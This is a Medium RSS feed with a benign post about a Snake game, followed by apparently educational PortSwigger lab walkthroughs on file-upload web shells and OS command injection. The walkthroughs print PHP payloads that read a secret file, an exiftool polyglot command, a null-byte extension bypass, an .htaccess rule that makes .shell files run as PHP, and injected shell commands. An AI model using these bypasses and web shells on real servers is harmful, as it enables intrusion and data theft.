<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by dollarboysushil on Medium]]></title>
        <description><![CDATA[Stories by dollarboysushil on Medium]]></description>
        <link>https://medium.com/@dollarboysushil?source=rss-373677567685------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9exs9_W_4XtB_o4IXVRLRA.png</url>
            <title>Stories by dollarboysushil on Medium</title>
            <link>https://medium.com/@dollarboysushil?source=rss-373677567685------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 21:02:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dollarboysushil/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Building a Classic Snake Game with PyGame — Powered by Amazon Q Developer CLI]]></title>
            <link>https://dollarboysushil.medium.com/building-a-classic-snake-game-with-pygame-powered-by-amazon-q-developer-cli-8014ce1d4683?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/8014ce1d4683</guid>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Wed, 21 May 2025 13:43:41 GMT</pubDate>
            <atom:updated>2025-05-21T13:43:41.292Z</atom:updated>
            <content:encoded><![CDATA[<h3>🐍 Building a Classic Snake Game with PyGame — Powered by Amazon Q Developer CLI</h3><p>A step-by-step walkthrough of how I created a retro Snake game using Python’s PyGame library — with AI-generated help from Amazon Q Developer CLI.</p><h3>🧠 Why Snake?</h3><p>The Snake game is a legendary arcade classic — simple in concept, addictive in gameplay, and perfect for learning game development fundamentals. I decided to bring it to life using <strong>PyGame</strong>, a popular game dev library in Python.</p><p>But here’s the twist: I didn’t write every line of code manually.</p><p>Instead, I used <strong>Amazon Q Developer CLI</strong>, an AI-powered coding assistant that helped me build the entire game faster and smarter.</p><h3>⚙️ Tools I Used</h3><ul><li>🐍 Python 3.x</li><li>🎮 PyGame</li><li>🤖 <strong>Amazon Q Developer CLI</strong> (for generating game logic, assets setup, and polish)</li><li>💻 GitLab (for version control and collaboration)</li></ul><h3>🚀 The Power of Amazon Q Developer CLI</h3><p>I used Amazon Q Developer CLI to generate structured code snippets for nearly every part of the project. Here’s what it helped me with:</p><ul><li><strong>Game loop &amp; initialization</strong>: Basic game window, FPS control, PyGame event handling</li><li><strong>Snake movement logic</strong>: Keypress detection, direction control, body growth</li><li><strong>Food generation</strong>: Random placement, collision detection</li><li><strong>Score tracking</strong>: Simple text rendering</li><li><strong>Game over detection</strong>: Collision with self or walls</li><li><strong>Polishing</strong>: UI tweaks, bug fixes, suggestions</li></ul><p>💡 <strong>Prompt I used:</strong></p><blockquote><em>“</em>Create a classic Snake game in PyGame where the player controls the snake using arrow keys. The snake grows longer when it eats food that spawns randomly on the screen. The game ends if the snake hits the walls or itself. Display the current score on the screen.<em>”</em></blockquote><p>This one prompt got me a clean, functional base for the game in seconds!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0q34GrwM6rTivMpMQoFMA.png" /></figure><h3>📸 Game Preview</h3><blockquote><em>Classic look, fully playable, and developed with AI collaboration.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*FB66Zt6wpj4nmX1SacVY6g.png" /></figure><h3>🔁 Iteration Speed = 10x Faster</h3><p>Without Amazon Q CLI, this game might’ve taken me a few days of trial and error. With it, I:</p><ul><li>Prototyped the first version in under 30 minutes</li><li>Added features by just refining prompts</li><li>Spent more time designing and less time debugging</li></ul><h3>🧠 What I Learned</h3><ul><li>AI tools can drastically reduce boilerplate work</li><li>PyGame is still great for 2D game development</li><li>Amazon Q CLI is more than just code suggestions — it’s a full dev co-pilot</li></ul><h3>🏁 Final Thoughts</h3><p>Building games with <strong>Amazon Q Developer CLI</strong> feels like pair-programming with a senior developer. It doesn’t replace creativity — it boosts it.</p><p>If you’re a Python dev, beginner or experienced, I highly recommend giving Amazon Q CLI a try — especially if you love building games fast.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8014ce1d4683" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger — LAB-6 Remote code execution via polyglot web shell upload (Bug Bounty Prep)[by…]]></title>
            <link>https://infosecwriteups.com/portswigger-lab-6-remote-code-execution-via-polyglot-web-shell-upload-bug-bounty-prep-by-b426b0d50d39?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/b426b0d50d39</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Sun, 18 Feb 2024 18:31:10 GMT</pubDate>
            <atom:updated>2024-02-25T06:52:23.405Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger — LAB-6 Remote code execution via polyglot web shell upload (Bug Bounty Prep)[by dollarboysushil]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XUvQreIyqrklz8fJM5Cx4g.png" /></figure><p>Link to lab: <a href="https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload">https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload</a></p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong><em>Instagram </em></strong><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Twitter (X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Youtube </em></strong><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Linkedin </em></strong><a href="https://www.linkedin.com/in/dollarboysushil/"><em>dollarboysushil</em></a><em><br></em><strong><em>Discord </em></strong><a href="https://discord.gg/5jpkdeV"><em>https://discord.gg/5jpkdeV</em></a></blockquote><blockquote><em>Level : Intermediate ++ . Highly recommended to solve previous labs</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N1FvLzlaBAfcbyIBlE_35Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*7SBpUGkpXqnEIQsDiqOeOw.png" /></figure><p>Login with given credentials.</p><p>Our Aim is to read content of /home/carlos/secret</p><p>Lets upload a random image, intercept the request to understand how webserver is working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*buMbW0sGxpDklKI9h7497w.png" /></figure><p>Make sure to check images option from filter setting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FvIBA7JzYUVHEW4smzEqZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fP-UU6iaWYVHVr5nLrBfAQ.png" /></figure><p>After uploading image, in burpsuite, select the POST request to /my-account/avatar which is used to upload this image file, send this request to repeater using CTRL + R</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*aOPADW27B7nZ8AQbUN0m3g.png" /></figure><p>In the website, click on Back to my account. We can see, our uploaded image is successfully loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrZfZ_4WAZLSILPKUQ-3iw.png" /></figure><p>Again in Burpsuite, select the GET request to /files/avatar/images.png which is used to load the uploaded image.<br>Send this request to repeater.</p><p>Now we know how the server is handling the request.</p><blockquote>Key thing to note.<br>If we directly upload .php file then it is filtered out<br>But if we change the image.png to image.php (just change the extension of image from png to php) then it is openly accepted.<br>From this we can get idea, server is not focusing on the extension of file for filtering, rather it is focusing on metadata of the file like(specific sequence of bytes in their header or footer.)</blockquote><p>To bypass this filter, we will use ExifTool to create a polyglot png file containing malicious code within its metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*h_K84dYV9ioa-pWytLym2A.png" /></figure><p>Metadata of image.png.<br>Now we will add comment field in metadata of this image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cu3FJ9NT8V5SI1mGbzxibQ.png" /></figure><pre>exiftool -Comment=&quot;&lt;?php echo &#39;FLAG to the RIGHT&#39; . file_get_contents(&#39;/home/carlos/secret&#39;) . &#39;Flag to the LEFT&#39; ; ?&gt;&quot; image.png -o virusimage.php</pre><p>In this above snippet.<br>-Comment flag is used add comment field in metadata.<br>image.png is the file we want to edit<br>-o flag is used to output the image (in this case we are outputing to virusimage.php)</p><p>Lets understand about the php code.</p><p>&lt;?php echo ‘FLAG to the RIGHT’ . file_get_contents(‘/home/carlos/secret’) . ‘Flag to the LEFT’ ; ?&gt;</p><p>This php code uses file_get_contents method to get the content of secret file which is then echoed out using echo constructor.</p><p>we are adding‘FLAG to the RIGHT’ and ‘Flag to the LEFT’ option to make the flag visible to us.</p><p>After using the exiftool to edit the file, when we check the image.php ‘s metadata, we can see this same to the png file with only change is addition of comment field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*gAnZ0FtoVcgrqAXWfxDcmw.png" /></figure><p>Now we can upload this malicious php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x8HosS9caYUsR5kjNsO5Vw.png" /></figure><p>Now lets execute this php file.<br>To execute this php file, we will the previous GET request which was used to load the image.png file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3DZB9beLweU4I91vVTnzg.png" /></figure><p>add virusimage.php in the GET request and send this request.<br>In the response we can see the content of secret flag between ‘FLAG to the RIGHT’ and ‘Flag to the LEFT’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*x3rQA_wCHTs50oxinJAyIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wNLah0qqjzpBVgjbN2ehWA.png" /></figure><p>Which complets the lab.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>SECOND METHOD</h4><p>For second method, select the initial POST request which was used to upload the image.png file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MRikIuQ4ci0kE7P3obCIA.png" /></figure><p>In this request we are going to remove the actual content of the image , paste the malicious php code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_tC9W566toaSpXit_yHgg.png" /></figure><p>Then send this request, file should be successfully upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_4K4SN37qE-Jty41nXJHg.png" /></figure><p>Same like before change the GET request file name and we should get the content of file in the response.</p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong>Instagram </strong><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Twitter <em>(X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Youtube </strong><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Linkedin </strong><a href="https://www.linkedin.com/in/dollarboysushil/"><em>dollarboysushil</em></a><em><br></em><strong>Discord </strong><a href="https://discord.gg/5jpkdeV">https://discord.gg/5jpkdeV</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b426b0d50d39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/portswigger-lab-6-remote-code-execution-via-polyglot-web-shell-upload-bug-bounty-prep-by-b426b0d50d39">PortSwigger — LAB-6 Remote code execution via polyglot web shell upload (Bug Bounty Prep)[by…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger — LAB-5 Web shell upload via obfuscated file extension (Bug Bounty Prep)[by…]]></title>
            <link>https://infosecwriteups.com/portswigger-lab-5-web-shell-upload-via-obfuscated-file-extension-bug-bounty-prep-by-5232dd3fb8fa?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/5232dd3fb8fa</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-app-security]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Sat, 17 Feb 2024 16:53:34 GMT</pubDate>
            <atom:updated>2024-02-18T08:31:53.670Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger — LAB-5 Web shell upload via obfuscated file extension (Bug Bounty Prep)[by dollarboysushil]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwFBfX5KQbmxj2mp9vTbyg.png" /></figure><p>Link to lab: <a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension">https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension</a></p><blockquote>For any correction / query /suggestion contact on<br><strong><em>Instagram </em></strong><a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong><em>Twitter </em>(X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong><em>Youtube </em></strong><a href="https://youtube.com/dollarboysushil">dollarboysushil</a><br><strong><em>Linkedin </em></strong><a href="https://www.linkedin.com/in/dollarboysushil/">dollarboysushil</a><br><strong><em>Discord </em></strong><a href="https://discord.gg/5jpkdeV"><em>https://discord.gg/5jpkdeV</em></a></blockquote><blockquote><em>Level : Intermediate — . Highly recommended to solve previous labs</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*ar_-8v4p-JpNCpwkZaN5nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6cAm7BQk_DJJCKyEw-gHyg.png" /></figure><p>Login with given credentials.</p><p>Our Aim is to read content of /home/carlos/secret<br>For which, we will use this simple php code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*4qJRAIX_dNL1bhyN-59Glg.png" /></figure><pre>&lt;?php echo file_get_contents(&#39;/home/carlos/secret&#39;); ?&gt;</pre><p>This php code uses file_get_contents to read the content of file located at /home/carlos/secret which then echos the output.</p><p>Before uploading this php file, lets upload a random image, intercept the request to understand how webserver is working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*bcZGflUkTigoOd-J.png" /></figure><p>Make sure image option is checked on from filter section of HTTP History</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*czAecAltG6IAcBueOLi0_Q.png" /></figure><p>Image successfully uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nBaJbcvyaDDPG0M_i0Ulw.png" /></figure><p>In the burpsuite, select the POST request to /my-account/avatar which is used to upload this image file, send this reques to repeater using CTRL + R</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*i9p0DfggtOCskZom5YD0Xg.png" /></figure><p>In the website, click on Back to my account. We can see, our uploaded image is successfully loaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AS9iYkPBYKlvtSu74afJww.png" /></figure><p>Again in Burpsuite, select the GET request to /files/avatar/screenshot…… which is used to load the uploaded image.<br>Send this reques to repeater.</p><p>Now we know how the server is handling the request.<br>Lets upload our malicious .php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AAuXocTfQnMsjq4G8NuzOg.png" /></figure><p>Upon uploading the php file, we can see there is some kind of sanitization or filter which is preventing us from uploading the php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLHGdEG4BNBL2eIR15XD8A.png" /></figure><p>In bursuite select the POST request and send to repeater.</p><p>Now comes the real deal. We need to bypass this filter so that we can upload the php file and get the content of secret file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yg-RfBYOyw7A-N9Cvzazw.png" /></figure><p>To bypass the filter we will use %00 (null byte). <br> When a file is named shell.php%00.jpg, some servers might interpret it as a PHP file (shell.php) rather than a JPEG image (shell.php.jpg)</p><p>Looking at the response we can confirm, php file is successfully uploaded.</p><p>Now to execute the php file.</p><p>Remember the GET request we found earlier which was used to load the screenshot image.<br>We will use that same request, change the content and get the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F7jsQD2LVY3hKiUonsdoWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVtXRrKqRXA2XIKsT70YQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SnRNNO6s9zBC05IzKI3AbQ.png" /></figure><p>Pasting the string completes the lab.</p><blockquote>For any correction / query /suggestion contact on<br><strong><em>Instagram </em></strong><a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong><em>Twitter </em>(X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong><em>Youtube </em></strong><a href="https://youtube.com/dollarboysushil">dollarboysushil</a><br><strong><em>Linkedin </em></strong><a href="https://www.linkedin.com/in/dollarboysushil/">dollarboysushil</a><br><strong><em>Discord </em></strong><a href="https://discord.gg/5jpkdeV"><em>https://discord.gg/5jpkdeV</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5232dd3fb8fa" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/portswigger-lab-5-web-shell-upload-via-obfuscated-file-extension-bug-bounty-prep-by-5232dd3fb8fa">PortSwigger — LAB-5 Web shell upload via obfuscated file extension (Bug Bounty Prep)[by…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger — LAB -4 Web shell upload via extension blacklist bypass (Bug Bounty Prep)[by…]]></title>
            <link>https://infosecwriteups.com/portswigger-lab-4-web-shell-upload-via-extension-blacklist-bypass-bug-bounty-prep-by-7c6233320f81?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c6233320f81</guid>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Sat, 17 Feb 2024 13:47:37 GMT</pubDate>
            <atom:updated>2024-02-25T06:51:09.662Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger — LAB -4 Web shell upload via extension blacklist bypass (Bug Bounty Prep)[by dollarboysushil]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5u3p3tQ7x_E9sKW35sYQlA.png" /></figure><p>Link to lab: <a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass">https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass</a></p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong>Instagram </strong><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Twitter <em>(X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Youtube </strong><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Linkedin </strong><a href="https://www.linkedin.com/in/dollarboysushil/"><em>dollarboysushil</em></a><em><br></em><strong>Discord </strong><a href="https://discord.gg/5jpkdeV">https://discord.gg/5jpkdeV</a></blockquote><blockquote>Level : Intermediate ++. Highly recommended to solve previous labs</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*4hJrcYdsXhLx3buj2BXWBg.png" /></figure><p>Click on Access the lab which will launch a website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*i8kfr_tsM5rlzyCSt1LjkQ.png" /></figure><p>Login with given credentials.</p><p>Our Aim is to read content of /home/carlos/secret <br>For which, we will use this simple php code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*1wT2hcUgvI3nmE_lpAgPlg.png" /></figure><pre>&lt;?php echo file_get_contents(&#39;/home/carlos/secret&#39;); ?&gt;</pre><p>This php code uses file_get_contents to read the content of file located at /home/carlos/secret which then echos the output.</p><p>Before uploading this php file, lets upload a random image, intercept the request to understand how webserver is working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sx9ujzY_HKJgup7C0VGSxw.png" /></figure><p>Make sure image option is checked on from filter section of HTTP History</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*A-xk68j8pezxZAfq_iI3MA.png" /></figure><p>I am uploading a random screenshot.png image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HKPMS-wCZB4G5llE319ymg.png" /></figure><p>Image successfully uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QYDmV4m7dm8HXcIndkZvDw.png" /></figure><p>In the burpsuite, select the POST request to /my-account/avatar which is used to upload this image file, send this reques to repeater using CTRL + R</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*mnRifXxOuf5YLmilnSd0HA.png" /></figure><p>In the website, click on Back to my account. We can see, our uploaded image is successfully loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AbcEBN-gAQPgRRCpfvWItQ.png" /></figure><p>Again in Burpsuite, select the GET request to /files/avatar/screenshot…… which is used to load the uploaded image.<br>Send this reques to repeater.</p><p>Now we know how the server is handling the request.<br>Lets upload our malicious .php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_iyd9TXpAmjyWf9FQzmqA.png" /></figure><p>Upon uploading the php file, we can see there is some kind of sanitization or filter which is preventing us from uploading the php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqZtqzR4cnIYE99xopQLNA.png" /></figure><p>In bursuite select the POST request and send to repeater.</p><p>Now comes the real deal. We need to bypass this filter so that we can upload the php file and get the content of secret file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GvlAg2GRj9_AmuT0nj0EBw.png" /></figure><p>If we look closely in the previous request, we can see the server is Apache on Ubuntu OS.</p><p>So, to bypass the filter we will use .htaccess file</p><h4>What is .htaccess file?</h4><p>.htaccess files ) provide a way to make configuration changes on a per-directory basis. In other word, with the help of .htaccess file we can control various aspects of how a directory and its subdirectories behave.</p><p>The .htaccess file is powerful and can override some global server configurations without directly editing the main server configuration file</p><p>In this case we are going to upload simple .htaccess file with content</p><pre>AddType application/x-httpd-php .shell</pre><p>In the above snippet, the directive AddType application/x-httpd-php .shell tells the server to treat files with a .shell extension as PHP scripts.</p><p>Since we cannot upload .php file directly, we will make rule in directory such than the file with extension .shell is executed as PHP script.</p><p>For more info visit apache official documentation <a href="https://httpd.apache.org/docs/2.4/howto/htaccess.html">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pKnTIruTjSdMgmHY9DHMGA.png" /></figure><p>In previous post request change.<br>1. filename to .htaccess<br>2. Content-Type to text/plain <br>3. And paste the above snippet AddType application/x-httpd-php .shell</p><p>Then send the request.<br>We can see response as file successfully uploaded.</p><p>Now lets upload our php file with .shell as extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*St6WZoqlxKqLcUFv2piRWQ.png" /></figure><p>Change the request as:<br>1. Change filename to shell.shell <br>2. Content-Type to image/png <br>3. and paste the php code &lt;?php echo file_get_contents(‘/home/carlos/secret’); ?&gt;</p><p>We should see response saying file has been uploaded.</p><p>We are almost done, we have uploaded the malicious php file with .shell extension, we have uploaded .htaccess file telling to run .shell file as .php</p><p>Our final step is to execute or run this shell.shell file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjZ4Pho3zEgNm5GFJbbAMA.png" /></figure><p>Remember the GET request we found earlier which was used to load the screenshot image. <br>We will use that same request, change the content and get the response.</p><p>Change the Get request to GET /files/avatar/shell.shell /HTTP/2<br>In the response section, we can see 200 OK with contents of secret echoed out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3CzXDBeJ0BpHLg63DP5oRg.png" /></figure><p>Submitting this string, completes the lab.</p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong>Instagram </strong><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Twitter <em>(X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Youtube </strong><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Linkedin </strong><a href="https://www.linkedin.com/in/dollarboysushil/"><em>dollarboysushil</em></a><em><br></em><strong>Discord </strong><a href="https://discord.gg/5jpkdeV">https://discord.gg/5jpkdeV</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c6233320f81" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/portswigger-lab-4-web-shell-upload-via-extension-blacklist-bypass-bug-bounty-prep-by-7c6233320f81">PortSwigger — LAB -4 Web shell upload via extension blacklist bypass (Bug Bounty Prep)[by…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Portswigger — Command Injection All Labs Walkthrough(Bug Bounty Prep)[by dollarboysushil]]]></title>
            <link>https://infosecwriteups.com/portswigger-command-injection-all-labs-walkthrough-bug-bounty-prep-by-dollarboysushil-e836421212cf?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/e836421212cf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Thu, 15 Feb 2024 17:07:22 GMT</pubDate>
            <atom:updated>2024-02-25T06:50:51.627Z</atom:updated>
            <content:encoded><![CDATA[<h3>Portswigger — Command Injection All Labs Walkthrough(Bug Bounty Prep)[by dollarboysushil]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omIafNlR4nX6SmJ0wdpbDQ.png" /></figure><p>Link to portswigger academy: <a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></p><blockquote>For any correction / query /suggestion contact on<br><strong><em>Instagram </em></strong><a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong><em>Twitter </em>(X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong><em>Youtube </em></strong><a href="https://youtube.com/dollarboysushil">dollarboysushil</a><br><strong><em>Linkedin </em></strong><a href="https://www.linkedin.com/in/dollarboysushil/">dollarboysushil</a></blockquote><h4>What is OS command injection?</h4><p>OS command injection or shell injection is an attack which allows attacker to execute os commands on the server that is running an application.</p><h4>How OS command injection attack works?</h4><p>Lets look at an example</p><pre>https://insecure-website.com/stockStatus?productID=381&amp;storeID=29</pre><p>In the above url, the application gives stock status by taking two arguments productID and storeID .</p><p>To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments:</p><p>stockreport.pl 381 29</p><p>The command then outputs the stock status.<br>If there isn’t any proper sanitization or defenses, attacker can submit &amp; echo abcdef &amp; in productID, which will become<br>stockreport.pl &amp; echo abcdef&amp; 29</p><p>Then the overall output will be<br>Error — productID was not provided <br>abcdef <br>29: command not found</p><h3>Lab 1 : <a href="https://portswigger.net/web-security/os-command-injection">OS command injection</a>, simple case</h3><p>Link to lab: <a href="https://portswigger.net/web-security/os-command-injection/lab-simple">https://portswigger.net/web-security/os-command-injection/lab-simple</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*4DJcZFbFrTqLquTDz5IcXA.png" /></figure><blockquote>Aim: execute whoami command and get current user name</blockquote><p>Click access the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YKl7JjkYKma72ijr3xyPg.png" /></figure><p>Click on View details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXfZ2tIjtY84FfbDtVG6Dg.png" /></figure><p>With your burpsuite ready click on check stock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ToMAapArLs9NTuSciokXLw.png" /></figure><p>Select the request created when clicking check stock.<br>And send this request to repeater</p><figure><img alt="" 